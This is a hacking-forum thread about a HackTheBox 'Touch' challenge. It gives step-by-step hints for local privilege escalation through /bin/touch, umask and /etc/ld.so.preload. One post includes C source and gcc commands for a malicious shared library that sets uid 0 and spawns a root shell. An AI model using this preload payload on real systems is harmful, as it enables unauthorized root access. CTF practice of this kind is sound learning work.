HTB - Touch Challenge
by Th3B4h0z - Sunday June 16, 2024 at 09:24 AM
#1
Any hint for touch challenge ?
Reply
#2
(06-16-2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag
Reply
#3
(06-17-2024, 08:16 AM)pwns4k3 Wrote:
(06-16-2024, 09:24 AM)Th3B4h0z Wrote: Any hint for touch challenge ?

1) Access the challenge shell

2) Examine the Environment

3) Identify the Exploitation Vector:
  - note: /bin/touch

4) Modify File Permissions with umask
  - ...
  - Create a new file and confirm the permissions

5) Exploit /etc/ld.so.preload

6) Create the Malicious Shared Library and compile it

7) Transfer to challenge and Use the Shared Library

8) Modify /etc/ld.so.preload

9) Gain Root Access && Read the Flag
THX

[url=https://breachforums.sb/search.php?action=finduser&uid=9705][/url]
Reply
#4
Trying this code for shared lib
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/sh");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles


The system crash and shutdown :=(
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 88,710 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 23 2,348 03-28-2026, 03:30 AM
Last Post: lulaladrow
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 87 7,490 03-27-2026, 07:22 PM
Last Post: stn
  HTB Eloquia User and Root Flags - Insane Box 69646B 13 350 03-27-2026, 06:14 PM
Last Post: vlxw
  HTB - ALL Challenges you Stuck in osamy7593 2 646 03-27-2026, 04:24 PM
Last Post: catsweet



 Users browsing this thread: 1 Guest(s)